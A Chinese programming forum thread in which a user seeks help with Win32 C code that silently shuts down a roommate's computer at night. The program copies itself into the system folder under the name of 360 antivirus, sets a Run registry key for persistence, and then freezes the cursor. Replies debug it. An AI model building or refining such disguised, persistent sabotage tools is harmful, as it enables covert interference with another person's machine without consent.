VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

有编程疑问吗?还请到提问专区发帖提问!
搜索
查看: 147|回复: 10

[交流] 写的一个定时关机程序,写了一个自启,却达不到预期的效果求大神指点

[复制链接]
66_avatar_middle
在线会员 ly1599285982 发表于 2018-3-27 13:43:27 | 显示全部楼层 |阅读模式
    因为不想让室友每晚打游戏影响别人休息,就想做一个后台运行检测时间然后定时关机,可自启的程序,但搜了很多资料,借鉴了很多程序始终达不到预期的效果,最主要的问题是不能实现开机自启,求大神帮忙写的一个定时关机程序,写了一个自启,却达不到预期的效果求大神指点
    代码如下:

#include<stdio.h>
#include<time.h>
#include<windows.h>
int WINAPI WinMain(HINSTANCE hlnstance, HINSTANCE hPrevlnstance,LPSTR szCmdLine,int iCmdShow)
{
        HKEY  hk;
        time_t t;
        struct tm*lt;
        char syste[MAX_PATH];
        char pa[MAX_PATH];
        POINT  p;
        p.x = 0;
        p.y = 0;
                HMODULE GetModH = GetModuleHandle(NULL);
                GetModuleFileName(GetModH, (LPWSTR)pa, sizeof(pa));
                GetSystemDirectory((LPWSTR)syste, sizeof(syste));
                strcat(syste, "//360主动防御");
                CopyFile((LPWSTR)pa, (LPWSTR)syste, false);
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hk);
                RegSetValueEx(hk, L"360主动防御", 0, REG_SZ, (const unsigned char*)syste, sizeof(syste));
                RegCloseKey(hk);

        time(&t);
        lt = localtime(&t);
        while (1)
        if (lt->tm_hour<23&&lt->tm_hour>7)
        {
                Sleep(1000);
        }
        else
        {
                system("shutdown/p");//无超时关机
                while (1)
                        ::SetCursorPos(p.x, p.y);
        }

}




上一篇:socket阻塞与非阻塞,同步与异步

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

51_avatar_middle
online_admins Syc 发表于 2018-3-27 13:47:55 | 显示全部楼层
楼主检查过这段代码执行完之后,是否将当前的程序添加到 Run 子键下面了,到注册表中确认过吗?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

66_avatar_middle
ico_lz  楼主| ly1599285982 发表于 2018-3-27 13:58:46 | 显示全部楼层
@Syc 确定了的,360里面的启动项显示为启动项

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

66_avatar_middle
ico_lz  楼主| ly1599285982 发表于 2018-3-27 13:59:44 | 显示全部楼层
但是重启开机的时候这个程序并没有运行,这是怎么回事???

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-3-27 14:20:52 | 显示全部楼层
ly1599285982 发表于 2018-3-27 13:59
但是重启开机的时候这个程序并没有运行,这是怎么回事???

你的 CopyFile 到目标文件名,貌似就叫“360主动防御”,没加exe啊,程序能执行起来吗?
另外你的代码很有意思,既然工程要使用 Unicode 编码,为什么定义缓冲区的时候还用 char 呢,为什么不用 wchar_t 或者用通用类型 TCHAR 呢?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

66_avatar_middle
ico_lz  楼主| ly1599285982 发表于 2018-3-27 15:20:10 | 显示全部楼层
加了.exe就会提示错误

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-3-27 15:40:11 | 显示全部楼层
ly1599285982 发表于 2018-3-27 15:20
加了.exe就会提示错误

是 CopyFile 的时候错误吗?还是执行的时候错误?

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

66_avatar_middle
ico_lz  楼主| ly1599285982 发表于 2018-3-27 18:18:54 | 显示全部楼层
在后面加了.exe那么.exe下面就会出现波浪线提示错误,去掉了就没错了

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

51_avatar_middle
online_admins Syc 发表于 2018-3-27 18:23:04 | 显示全部楼层
ly1599285982 发表于 2018-3-27 18:18
在后面加了.exe那么.exe下面就会出现波浪线提示错误,去掉了就没错了

有波浪线不要紧,那个可能是认为单词拼写的错误,你编译下试试,要是没问题就是正确的。跟提示波浪线没太大关系

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

66_avatar_middle
ico_lz  楼主| ly1599285982 发表于 2018-3-27 20:03:02 | 显示全部楼层
@Sy你说的方法我都用了,程序也编译通过,运行的时候360提示写入注册表自启动,我也允许了,但重启后这个程序还是没有自启写的一个定时关机程序,写了一个自启,却达不到预期的效果求大神指点,代码如下:
#include<stdio.h>
#include<time.h>
#include<windows.h>
int WINAPI WinMain(HINSTANCE hlnstance, HINSTANCE hPrevlnstance,LPSTR szCmdLine,int iCmdShow)
{
        HKEY  hk;
        time_t t;
        struct tm*lt;
        TCHAR syste[MAX_PATH];
        TCHAR pa[MAX_PATH];
        POINT  p;
        p.x = 0;
        p.y = 0;
                HMODULE GetModH = GetModuleHandle(NULL);
                GetModuleFileName(GetModH, pa, sizeof(pa));
                GetSystemDirectory(syste, sizeof(syste));
                strcat((char*)syste, "//360主动防御.exe");
                CopyFile(pa, syste, false);
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hk);
                RegSetValueEx(hk, L"360主动防御", 0, REG_SZ, (const unsigned char*)syste, sizeof(syste));
                RegCloseKey(hk);

        time(&t);
        lt = localtime(&t);
        while (1)
        if (lt->tm_hour<23&&lt->tm_hour>7)
        {
                Sleep(1000);
        }
        else
        {
                system("shutdown/p");//无超时关机
                while (1)
                        ::SetCursorPos(p.x, p.y);
        }

}

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

07_avatar_middle
在线会员 freehawkzk 发表于 2018-3-27 21:47:05 | 显示全部楼层
如果仅仅想自启的话可以考虑将程序做成服务,在登录后自动运行。

发帖求助前要善用论坛搜索功能,那里可能会有你要找的答案;

如果你已经在论坛发帖求助,并且从坛友或者管理的回复中解决了问题,请编辑帖子并把分类改成【已解决】

如何回报帮助你解决问题的坛友?可以给对方加【热心】【驿站币】,加分不会扣除自己的积分,做一个热心并受欢迎的人!

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

关闭

站长提醒上一条 /1 下一条

QQ
QQ在线咨询
联系电话
13591366679
手机扫一扫 关注本站精彩内容
wxqrcode

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号tongdun|网站地图wx_jqr

GMT+8, 2018-8-20 16:50

Powered by Discuz! X3.4

© 2009-2018 cctry.com

快速回复 返回顶部 返回列表